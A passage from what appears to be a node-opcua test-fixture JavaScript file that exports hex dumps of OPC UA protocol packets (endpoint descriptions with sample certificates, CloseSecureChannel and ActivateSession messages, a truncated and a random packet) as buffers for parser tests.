00000260: 33 86 28 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a 41 41 41 41 41 3a 41 67 67 72 65 67 3.(urn:localhost:UA:AAAAA:Aggreg
00000280: 61 74 69 6f 6e 53 65 72 76 65 72 82 07 74 61 74 74 61 74 61 30 0d 06 09 2a 86 48 86 f7 0d 01 01 ationServer..tattata0...*.H.w...
000002a0: 05 05 00 03 81 81 00 33 ac 71 4e 17 e4 16 67 13 fc 7b 26 d7 71 4c 85 b7 08 78 c5 4b f2 bc db 40 .......3,qN.d.g.|{&WqL.7.xEKr<[@
000002c0: e8 fe 7b 0c 79 e2 1f 39 76 54 40 8b 9f 96 40 50 16 c8 97 03 7d 7d 45 e0 97 30 da 4a 72 b2 fd fe h~{.yb.9vT@...@P.H..}}E..0ZJr2}~
000002e0: b4 1e 78 5d 04 20 10 6e b4 b1 48 fc 79 dc 2e 05 fe 97 eb 16 bb 6a 39 99 8c 4e 51 b8 10 46 86 27 4.x]...n41H|y\\..~.k.;j9..NQ8.F.'
00000300: fc a3 d5 b3 4b 34 1f 96 f7 32 66 58 c0 39 79 df 3b 5b bc 08 4b 7a f4 40 99 65 f8 cd ea d2 fa 78 |#U3K4..w2fX@9y_;[<.Kzt@.exMjRzx
00000320: b1 ee 81 d0 99 60 7b 03 00 00 00 38 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 1n.P..{....8...http://opcfoundat
00000340: 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 42 61 73 69 63 31 ion.org/UA/SecurityPolicy#Basic1
00000360: 32 38 52 73 61 31 35 03 00 00 00 01 00 00 00 30 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 28Rsa15........0................
00000380: 01 00 00 00 31 01 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 01 00 00 00 32 02 00 00 00 ff ff ....1....................2......
000003a0: ff ff ff ff ff ff ff ff ff ff 4a 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 ..........J...http://opcfoundati
000003c0: 6f 6e 2e 6f 72 67 2f 55 41 2d 50 72 6f 66 69 6c 65 2f 54 72 61 6e 73 70 6f 72 74 2f 73 6f 61 70 on.org/UA-Profile/Transport/soap
000003e0: 68 74 74 70 2d 77 73 73 63 2d 75 61 78 6d 6c 2d 75 61 62 69 6e 61 72 79 03 35 00 00 00 68 74 74 http-wssc-uaxml-uabinary.5...htt
00000400: 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 p://tattata:62541/AAAAA/Aggregat
00000420: 69 6f 6e 53 65 72 76 65 72 2f 42 61 73 69 63 32 35 36 28 00 00 00 75 72 6e 3a 6c 6f 63 61 6c 68 ionServer/Basic256(...urn:localh
00000440: 6f 73 74 3a 55 41 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 22 00 ost:UA:AAAAA:AggregationServer".
00000460: 00 00 75 72 69 3a 61 61 61 61 61 2e 63 6f 6d 3a 55 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 ..uri:aaaaa.com:UA:AggregationSe
00000480: 72 76 65 72 02 1b 00 00 00 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 rver.....AAAAA.UA.Aggregation.Se
000004a0: 72 76 65 72 02 00 00 00 ff ff ff ff ff ff ff ff 02 00 00 00 36 00 00 00 68 74 74 70 3a 2f 2f 67 rver................6...http://g
000004c0: 61 74 74 61 63 61 3a 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 attaca:62541/AAAAA/AggregationSe
000004e0: 72 76 65 72 2f 64 69 73 63 6f 76 65 72 79 2f 00 00 00 6f 70 63 2e 74 63 70 3a 2f 2f 67 61 74 74 rver/discovery/...opc.tcp://gatt
00000500: 61 63 61 3a 36 32 35 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 aca:62542/AAAAA/AggregationServe
00000520: 72 24 03 00 00 30 82 03 20 30 82 02 89 a0 03 02 01 02 02 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 r$...0...0............L~c4{G.S.y
00000540: fe a2 cd 64 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 3f 31 17 30 15 06 0a 09 92 26 89 93 ~"Md0...*.H.w......0?1.0.....&..
00000560: f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 r,d....tattata1$0"..U....AAAAA.U
00000580: 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 20 17 0d 31 34 30 31 33 30 31 34 A.Aggregation.Server0...14013014
000005a0: 34 37 32 32 5a 18 0f 32 30 36 33 30 35 31 33 31 34 34 37 32 32 5a 30 3f 31 17 30 15 06 0a 09 92 4722Z..20630513144722Z0?1.0.....
000005c0: 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 52 45 56 &..r,d....tattata1$0"..U....AREV
000005e0: 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 81 9f 30 0d 06 09 2a 86 A.UA.Aggregation.Server0..0...*.
00000600: 48 86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02 81 81 00 b7 db 2a ae 23 91 a4 6b d3 5a 7b bb H.w..........0......7[*.#.$kSZ{;
00000620: 06 63 e7 c1 bc 4a 62 7a de 5d 54 bd b1 3f 55 65 25 b9 bc 99 55 19 b4 20 85 03 08 98 8e b3 29 0b .cgA.Jbz^]T=1?Ue%9<.U.4......3).
00000640: fc 43 5f 62 a6 1e e7 f6 7d 4c c9 d0 f4 26 47 52 66 e0 ea 16 26 8b 54 67 14 e2 3d 81 54 b7 29 a1 |C_b&.gv}LIPt&GRf.j.&.Tg.b=.T7)!
00000660: b2 6a 0b 9c 40 14 fc f8 51 aa 8e 0b f6 be 85 3d 95 a7 e1 4f 27 ae 10 6a 64 80 8b 2b ff fe 3b fa 2j..@.|xQ*..v>.=.'aO'..jd..+.~;z
00000680: bd 06 c5 64 8d 33 ca 91 b5 68 71 f0 4f 8b b9 4e a6 9a 39 31 02 03 01 00 01 a3 82 01 19 30 82 01 =.Ed.3J.5hqpO.9N&.91.....#...0..
000006a0: 15 30 1d 06 03 55 1d 0e 04 16 04 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 .0...U......%.{..Fa0#]B.D.ST,x.P
000006c0: 30 76 06 03 55 1d 23 04 6f 30 6d 80 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 0v..U.#.o0m..%.{..Fa0#]B.D.ST,x.
000006e0: d0 a1 43 a4 41 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 P!C$A0?1.0.....&..r,d....tattata
00000700: 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 1$0"..U....AAAAA.UA.Aggregation.
00000720: 53 65 72 76 65 72 82 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0c 06 03 55 1d 13 01 Server....L~c4{G.S.y~"Md0...U...
00000740: 01 ff 04 02 30 00 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 02 f4 30 20 06 03 55 1d 25 01 01 ff ....0.0...U..........t0...U.%...
00000760: 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 3c 06 03 55 1d 11 04 ..0...+.........+.......0<..U...
00000780: 35 30 33 86 28 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a 41 41 41 41 41 3a 41 67 67 72 503.(urn:localhost:UA:AAAAA:Aggr
000007a0: 65 67 61 74 69 6f 6e 53 65 72 76 65 72 82 07 74 61 74 74 61 74 61 30 0d 06 09 2a 86 48 86 f7 0d egationServer..tattata0...*.H.w.
000007c0: 01 01 05 05 00 03 81 81 00 33 ac 71 4e 17 e4 16 67 13 fc 7b 26 d7 71 4c 85 b7 08 78 c5 4b f2 bc .........3,qN.d.g.|{&WqL.7.xEKr<
000007e0: db 40 e8 fe 7b 0c 79 e2 1f 39 76 54 40 8b 9f 96 40 50 16 c8 97 03 7d 7d 45 e0 97 30 da 4a 72 b2 [@h~{.yb.9vT@...@P.H..}}E..0ZJr2
00000800: fd fe b4 1e 78 5d 04 20 10 6e b4 b1 48 fc 79 dc 2e 05 fe 97 eb 16 bb 6a 39 99 8c 4e 51 b8 10 46 }~4.x]...n41H|y\\..~.k.;j9..NQ8.F
00000820: 86 27 fc a3 d5 b3 4b 34 1f 96 f7 32 66 58 c0 39 79 df 3b 5b bc 08 4b 7a f4 40 99 65 f8 cd ea d2 .'|#U3K4..w2fX@9y_;[<.Kzt@.exMjR
00000840: fa 78 b1 ee 81 d0 99 60 7b 02 00 00 00 33 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 zx1n.P..{....3...http://opcfound
00000860: 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 42 61 73 69 ation.org/UA/SecurityPolicy#Basi
00000880: 63 32 35 36 03 00 00 00 01 00 00 00 30 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 01 00 00 c256........0...................
000008a0: 00 31 01 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 01 00 00 00 32 02 00 00 00 ff ff ff ff ff .1....................2.........
000008c0: ff ff ff ff ff ff ff 4a 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e .......J...http://opcfoundation.
000008e0: 6f 72 67 2f 55 41 2d 50 72 6f 66 69 6c 65 2f 54 72 61 6e 73 70 6f 72 74 2f 73 6f 61 70 68 74 74 org/UA-Profile/Transport/soaphtt
00000900: 70 2d 77 73 73 63 2d 75 61 78 6d 6c 2d 75 61 62 69 6e 61 72 79 02 31 00 00 00 68 74 74 70 3a 2f p-wssc-uaxml-uabinary.1...http:/
00000920: 2f 74 61 74 74 61 74 61 3a 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e /tattata:62541/AAAAA/Aggregation
00000940: 53 65 72 76 65 72 2f 4e 6f 6e 65 28 00 00 00 75 72 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a Server/None(...urn:localhost:UA:
00000960: 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 22 00 00 00 75 72 69 3a 61 AAAAA:AggregationServer"...uri:a
00000980: 61 61 61 61 2e 63 6f 6d 3a 55 41 3a 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 02 1b 00 aaaa.com:UA:AggregationServer...
000009a0: 00 00 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 02 00 00 ..AAAAA.UA.Aggregation.Server...
000009c0: 00 ff ff ff ff ff ff ff ff 02 00 00 00 36 00 00 00 68 74 74 70 3a 2f 2f 74 61 74 74 61 74 61 3a .............6...http://tattata:
000009e0: 36 32 35 34 31 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 2f 64 69 62541/AAAAA/AggregationServer/di
00000a00: 73 63 6f 76 65 72 79 2f 00 00 00 6f 70 63 2e 74 63 70 3a 2f 2f 74 61 74 74 61 74 61 3a 36 32 35 scovery/...opc.tcp://tattata:625
00000a20: 34 32 2f 41 41 41 41 41 2f 41 67 67 72 65 67 61 74 69 6f 6e 53 65 72 76 65 72 24 03 00 00 30 82 42/AAAAA/AggregationServer$...0.
00000a40: 03 20 30 82 02 89 a0 03 02 01 02 02 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0d 06 ..0............L~c4{G.S.y~"Md0..
00000a60: 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 .*.H.w......0?1.0.....&..r,d....
00000a80: 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 tattata1$0"..U....AAAAA.UA.Aggre
00000aa0: 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 20 17 0d 31 34 30 31 33 30 31 34 34 37 32 32 5a 18 0f gation.Server0...140130144722Z..
00000ac0: 32 30 36 33 30 35 31 33 31 34 34 37 32 32 5a 30 3f 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 20630513144722Z0?1.0.....&..r,d.
00000ae0: 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 ...tattata1$0"..U....AAAAA.UA.Ag
00000b00: 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 30 81 9f 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 gregation.Server0..0...*.H.w....
00000b20: 05 00 03 81 8d 00 30 81 89 02 81 81 00 b7 db 2a ae 23 91 a4 6b d3 5a 7b bb 06 63 e7 c1 bc 4a 62 ......0......7[*.#.$kSZ{;.cgA.Jb
00000b40: 7a de 5d 54 bd b1 3f 55 65 25 b9 bc 99 55 19 b4 20 85 03 08 98 8e b3 29 0b fc 43 5f 62 a6 1e e7 z^]T=1?Ue%9<.U.4......3).|C_b&.g
00000b60: f6 7d 4c c9 d0 f4 26 47 52 66 e0 ea 16 26 8b 54 67 14 e2 3d 81 54 b7 29 a1 b2 6a 0b 9c 40 14 fc v}LIPt&GRf.j.&.Tg.b=.T7)!2j..@.|
00000b80: f8 51 aa 8e 0b f6 be 85 3d 95 a7 e1 4f 27 ae 10 6a 64 80 8b 2b ff fe 3b fa bd 06 c5 64 8d 33 ca xQ*..v>.=.'aO'..jd..+.~;z=.Ed.3J
00000ba0: 91 b5 68 71 f0 4f 8b b9 4e a6 9a 39 31 02 03 01 00 01 a3 82 01 19 30 82 01 15 30 1d 06 03 55 1d .5hqpO.9N&.91.....#...0...0...U.
00000bc0: 0e 04 16 04 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 30 76 06 03 55 1d 23 .....%.{..Fa0#]B.D.ST,x.P0v..U.#
00000be0: 04 6f 30 6d 80 14 25 0a 7b 7f 14 c6 61 b0 23 5d 42 ff c4 9e 53 54 ac 78 20 d0 a1 43 a4 41 30 3f .o0m..%.{..Fa0#]B.D.ST,x.P!C$A0?
00000c00: 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 74 61 74 74 61 74 61 31 24 30 22 06 03 55 1.0.....&..r,d....tattata1$0"..U
00000c20: 04 03 13 1b 41 41 41 41 41 20 55 41 20 41 67 67 72 65 67 61 74 69 6f 6e 20 53 65 72 76 65 72 82 ....AAAAA.UA.Aggregation.Server.
00000c40: 10 2e 1b cc fe 63 34 7b 47 9e d3 11 f9 fe a2 cd 64 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 ...L~c4{G.S.y~"Md0...U.......0.0
00000c60: 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 02 f4 30 20 06 03 55 1d 25 01 01 ff 04 16 30 14 06 08 2b ...U..........t0...U.%.....0...+
00000c80: 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 3c 06 03 55 1d 11 04 35 30 33 86 28 75 72 .........+.......0<..U...503.(ur
00000ca0: 6e 3a 6c 6f 63 61 6c 68 6f 73 74 3a 55 41 3a 41 41 41 41 41 3a 41 67 67 72 65 67 61 74 69 6f 6e n:localhost:UA:AAAAA:Aggregation
00000cc0: 53 65 72 76 65 72 82 07 74 61 74 74 61 74 61 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 Server..tattata0...*.H.w........
00000ce0: 81 00 33 ac 71 4e 17 e4 16 67 13 fc 7b 26 d7 71 4c 85 b7 08 78 c5 4b f2 bc db 40 e8 fe 7b 0c 79 ..3,qN.d.g.|{&WqL.7.xEKr<[@h~{.y
00000d00: e2 1f 39 76 54 40 8b 9f 96 40 50 16 c8 97 03 7d 7d 45 e0 97 30 da 4a 72 b2 fd fe b4 1e 78 5d 04 b.9vT@...@P.H..}}E..0ZJr2}~4.x].
00000d20: 20 10 6e b4 b1 48 fc 79 dc 2e 05 fe 97 eb 16 bb 6a 39 99 8c 4e 51 b8 10 46 86 27 fc a3 d5 b3 4b ..n41H|y\\..~.k.;j9..NQ8.F.'|#U3K
00000d40: 34 1f 96 f7 32 66 58 c0 39 79 df 3b 5b bc 08 4b 7a f4 40 99 65 f8 cd ea d2 fa 78 b1 ee 81 d0 99 4..w2fX@9y_;[<.Kzt@.exMjRzx1n.P.
00000d60: 60 7b 01 00 00 00 2f 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f .{..../...http://opcfoundation.o
00000d80: 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 4e 6f 6e 65 03 00 00 00 01 00 00 rg/UA/SecurityPolicy#None.......
00000da0: 00 30 00 00 00 00 ff ff ff ff ff ff ff ff 33 00 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e .0............3...http://opcfoun
00000dc0: 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f 6c 69 63 79 23 42 61 73 dation.org/UA/SecurityPolicy#Bas
00000de0: 69 63 32 35 36 01 00 00 00 31 01 00 00 00 ff ff ff ff ff ff ff ff 33 00 00 00 68 74 74 70 3a 2f ic256....1............3...http:/
00000e00: 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 63 75 72 69 74 79 50 6f /opcfoundation.org/UA/SecurityPo
00000e20: 6c 69 63 79 23 42 61 73 69 63 32 35 36 01 00 00 00 32 02 00 00 00 ff ff ff ff ff ff ff ff 33 00 licy#Basic256....2............3.
00000e40: 00 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 65 ..http://opcfoundation.org/UA/Se
00000e60: 63 75 72 69 74 79 50 6f 6c 69 63 79 23 42 61 73 69 63 32 35 36 4a 00 00 00 68 74 74 70 3a 2f 2f curityPolicy#Basic256J...http://
00000e80: 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2d 50 72 6f 66 69 6c 65 2f 54 72 61 opcfoundation.org/UA-Profile/Tra
00000ea0: 6e 73 70 6f 72 74 2f 73 6f 61 70 68 74 74 70 2d 77 73 73 63 2d 75 61 78 6d 6c 2d 75 61 62 69 6e nsport/soaphttp-wssc-uaxml-uabin
00000ec0: 61 72 79 00 ary.
`);
// client -> server : packet length 57 => CloseSecureChannelRequest
exports.closeSecureChannelRequest1 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 43 4c 4f 46 39 00 00 00 0a 00 00 00 01 00 00 00 03 00 00 00 03 00 00 00 01 00 c4 01 00 00 95 78 CLOF9.....................D....x
00000020: 65 d9 d0 1d cf 01 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 eYP.O....................
`);
// server -> client => CloseSecureChannelResponse
exports.closeSecureChannelResponse = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 43 4c 4f 46 39 00 00 00 02 00 00 00 01 00 00 00 03 00 00 00 03 00 00 00 01 00 c4 01 00 00 cd e6 CLOF9.....................D...Mf
00000020: 25 6b 8c 1f cf 01 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 %k..O....................
`);
exports.packet_cs_6 = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 4d 53 47 46 4c 04 00 00 02 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 01 00 cd 01 00 00 16 12 MSGFL.....................M.....
00000020: a8 62 a2 1f cf 01 01 00 00 00 ff 03 00 00 ff ff ff ff 00 00 00 00 00 00 00 20 00 00 00 75 72 6e (b".O........................urn
00000040: 3a 58 58 58 58 58 49 31 31 30 32 32 3a 55 41 20 53 61 6d 70 6c 65 20 43 6c 69 65 6e 74 29 00 00 :XXXXXI11022:UA.Sample.Client)..
00000060: 00 68 74 74 70 3a 2f 2f 6f 70 63 66 6f 75 6e 64 61 74 69 6f 6e 2e 6f 72 67 2f 55 41 2f 53 61 6d .http://opcfoundation.org/UA/Sam
00000080: 70 6c 65 43 6c 69 65 6e 74 2f 02 10 00 00 00 55 41 20 53 61 6d 70 6c 65 20 43 6c 69 65 6e 74 01 pleClient/.....UA.Sample.Client.
000000a0: 00 00 00 ff ff ff ff ff ff ff ff 00 00 00 00 20 00 00 00 75 72 6e 3a 58 58 58 58 58 49 31 31 30 ...................urn:XXXXXI110
000000c0: 32 32 3a 55 41 20 53 61 6d 70 6c 65 20 43 6c 69 65 6e 74 29 00 00 00 6f 70 63 2e 74 63 70 3a 2f 22:UA.Sample.Client)...opc.tcp:/
000000e0: 2f 6c 6f 63 61 6c 68 6f 73 74 3a 36 31 32 31 30 2f 55 41 2f 53 61 6d 70 6c 65 43 6c 69 65 6e 74 /localhost:61210/UA/SampleClient
00000100: 0b 00 00 00 4d 79 53 65 73 73 69 6f 6e 20 31 20 00 00 00 85 c7 1a 02 8b 96 b1 2e 14 2a 7f 00 16 ....MySession.1.....G....1..*...
00000120: 20 56 06 f7 61 f8 ea 77 54 78 30 99 7b 45 5b e0 6c 36 82 09 03 00 00 30 82 03 05 30 82 02 6e a0 .V.waxjwTx0.{E[.l6.....0...0..n.
00000140: 03 02 01 02 02 10 7b 41 d7 76 cb 6a 2b 41 94 07 96 c9 f8 03 d9 dc 30 0d 06 09 2a 86 48 86 f7 0d ......{AWvKj+A...Ix.Y\0...*.H.w.
00000160: 01 01 05 05 00 30 38 31 1b 30 19 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 0b 58 58 58 58 58 49 31 .....081.0.....&..r,d....XXXXXI1
00000180: 31 30 32 32 31 19 30 17 06 03 55 04 03 13 10 55 41 20 53 61 6d 70 6c 65 20 43 6c 69 65 6e 74 30 10221.0...U....UA.Sample.Client0
000001a0: 1e 17 0d 31 32 30 38 31 36 31 30 33 31 31 31 5a 17 0d 33 37 30 34 30 37 31 30 33 31 31 31 5a 30 ...120816103111Z..370407103111Z0
000001c0: 38 31 1b 30 19 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 0b 58 58 58 58 58 49 31 31 30 32 32 31 19 81.0.....&..r,d....XXXXXI110221.
000001e0: 30 17 06 03 55 04 03 13 10 55 41 20 53 61 6d 70 6c 65 20 43 6c 69 65 6e 74 30 81 9f 30 0d 06 09 0...U....UA.Sample.Client0..0...
00000200: 2a 86 48 86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02 81 81 00 d5 15 5b 98 c3 69 79 f6 59 a8 *.H.w..........0......U.[.CiyvY(
00000220: 5d a3 23 dd 9d 25 a9 ec 1e a4 e6 bf f7 07 3a 85 a7 6e ad 80 94 94 f1 78 a7 27 33 9d 50 2e 36 1f ]##].%)l.$f?w.:.'n-...qx''3.P.6.
00000240: 34 7b 44 a0 18 a8 e1 66 01 8d 8f 21 95 39 df ec 37 e5 87 b6 f5 5c 95 aa 6f 83 e7 74 6a 15 0f 52 4{D..(af...!.9_l7e.6u\\.*o.gtj..R
00000260: 60 ad 65 61 32 be e0 e1 28 0c 18 95 68 46 06 8b b0 38 4d fc ce cb 4d a9 41 ae 42 7a 31 db d9 00 .-ea2>.a(...hF..08M|NKM)A.Bz1[Y.
00000280: a2 78 2e 73 93 70 90 51 1b 1a 2b f0 de ca 22 4f c1 f7 3d bc ef d3 02 03 01 00 01 a3 82 01 0e 30 "x.s.p.Q..+p^J"OAw=.oS.....#...0
000002a0: 82 01 0a 30 1d 06 03 55 1d 0e 04 16 04 14 41 24 7d 36 f7 75 00 23 a4 be 6a b2 77 da 83 58 4a b3 ...0...U......A$}6wu.#$>j2wZ.XJ3
000002c0: f8 c6 30 6f 06 03 55 1d 23 04 68 30 66 80 14 41 24 7d 36 f7 75 00 23 a4 be 6a b2 77 da 83 58 4a xF0o..U.#.h0f..A$}6wu.#$>j2wZ.XJ
000002e0: b3 f8 c6 a1 3c a4 3a 30 38 31 1b 30 19 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 0b 58 58 58 58 58 3xF!<$:081.0.....&..r,d....XXXXX
00000300: 49 31 31 30 32 32 31 19 30 17 06 03 55 04 03 13 10 55 41 20 53 61 6d 70 6c 65 20 43 6c 69 65 6e I110221.0...U....UA.Sample.Clien
00000320: 74 82 10 7b 41 d7 76 cb 6a 2b 41 94 07 96 c9 f8 03 d9 dc 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 t..{AWvKj+A...Ix.Y\0...U.......0
00000340: 00 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 02 f4 30 20 06 03 55 1d 25 01 01 ff 04 16 30 14 06 .0...U..........t0...U.%.....0..
00000360: 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 38 06 03 55 1d 11 04 31 30 2f 86 20 .+.........+.......08..U...10/..
00000380: 75 72 6e 3a 58 58 58 58 58 49 31 31 30 32 32 3a 55 41 20 53 61 6d 70 6c 65 20 43 6c 69 65 6e 74 urn:XXXXXI11022:UA.Sample.Client
000003a0: 82 0b 58 58 58 58 58 49 31 31 30 32 32 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 ..XXXXXI110220...*.H.w..........
000003c0: 25 d5 0b 8e a8 b6 41 eb 01 8b 9a f2 aa 34 40 26 d3 ec ff d2 9f 97 c0 b4 6d 9f fb 16 5e 02 71 7d %U..(6Ak...r*4@&Sl.R..@4m.{.^.q}
000003e0: 42 67 bb 60 b0 04 ea 6c db ad 48 b1 3a 45 0f a8 9b 35 6c 48 00 d8 2e a9 83 61 32 a8 21 98 7d 28 Bg;.0.jl[-H1:E.(.5lH.X.).a2(!.}(
00000400: d8 75 1d 77 6a c1 9b d3 8c 39 4d 9e d9 30 cb d6 04 b3 13 d2 53 ad df 59 b6 82 41 20 94 e3 12 f1 Xu.wjA.S.9M.Y0KV.3.RS-_Y6.A..c.q
00000420: 0d 3f 3e 92 be ce ba b4 16 dd 23 4a 15 2a 7e a9 27 d5 c6 78 0a 88 bf 21 29 00 ce 87 0c 91 42 b9 .?>.>N:4.]#J.*~)'UFx..?!).N...B9
00000440: 00 00 00 00 80 4f 22 41 00 00 40 00 .....O"A..@.
`);
// ActivateSesionRequest
exports.activateSesionRequest = (0, node_opcua_debug_1.makeBufferFromTrace)(`
0000 4d 53 47 46 8d 00 00 00 08 00 00 00 01 00 00 00 MSGF............
0010 03 00 00 00 03 00 00 00 01 00 d3 01 05 00 00 20 ...............
0020 00 00 00 48 09 ee e7 c3 5d bb ce df d0 7a 7d c0 ...H....]....z}.
0030 6e e8 54 ba bf fa 46 7e 3f b2 06 98 6e 71 a2 87 n.T...F~?...nq..
0040 bd 2c 5d 30 8c 81 6d 17 21 cf 01 02 00 00 00 ff .,]0..m.!.......
0050 03 00 00 ff ff ff ff 00 00 00 00 00 00 00 ff ff ................
0060 ff ff ff ff ff ff 00 00 00 00 01 00 00 00 05 00 ................
0070 00 00 66 72 2d 46 52 01 00 41 01 01 05 00 00 00 ..fr-FR..A......
0080 01 00 00 00 30 ff ff ff ff ff ff ff ff ....0........
`);
// ActivateSesionResponse
exports.activateSesionResponse = (0, node_opcua_debug_1.makeBufferFromTrace)(`
0000 4d 53 47 46 60 00 00 00 08 00 00 00 01 00 00 00 MSGF............
0010 03 00 00 00 03 00 00 00 01 00 d6 01 17 ff 83 6d ...............m
0020 17 21 cf 01 02 00 00 00 00 00 00 00 00 00 00 00 .!..............
0030 00 00 00 00 20 00 00 00 14 19 e7 a6 e6 cf 4c e2 .... .........L.
0040 05 91 2c 1f 67 59 b1 10 ba d6 d1 46 77 89 39 9c ..,.gY.....Fw.9.
0050 20 bd 76 15 57 09 17 92 00 00 00 00 00 00 00 00 .v.W...........
`);
exports.packect_outtec = (0, node_opcua_debug_1.makeBufferFromTrace)(`
00000000: 43 4c 4f 46 18 00 00 00 0c 00 00 00 01 00 00 00 0f 00 00 00 0f 00 00 00
`);
exports.random_packet = (0, node_opcua_debug_1.makeBufferFromTrace)(`
0000 4d 53 47 46 70 00 00 00 23 00 00 00 bd 00 00 00 MSGFp...#.......
0010 7a fc d2 8c 61 b3 16 e5 40 7d b4 63 d3 64 cd 2c z...a...@}.c.d.,
0020 06 d1 9a dc 61 3e fe 8c 8d ab 3c ec be bd cf 9c ....a>....<.....
0030 cc 35 5d 2c 41 42 ac e4 cc a2 0a 0b a7 63 c1 c8 .5],AB.......c..
0040 a9 33 d7 ee 38 7f 8a c2 45 d5 5a a9 be 86 c8 c2 .3..8...E.Z.....
0050 4d 81 b7 4d 1c b4 69 b8 73 d9 b2 0c 9f a4 d0 18 M..M..i.s.......
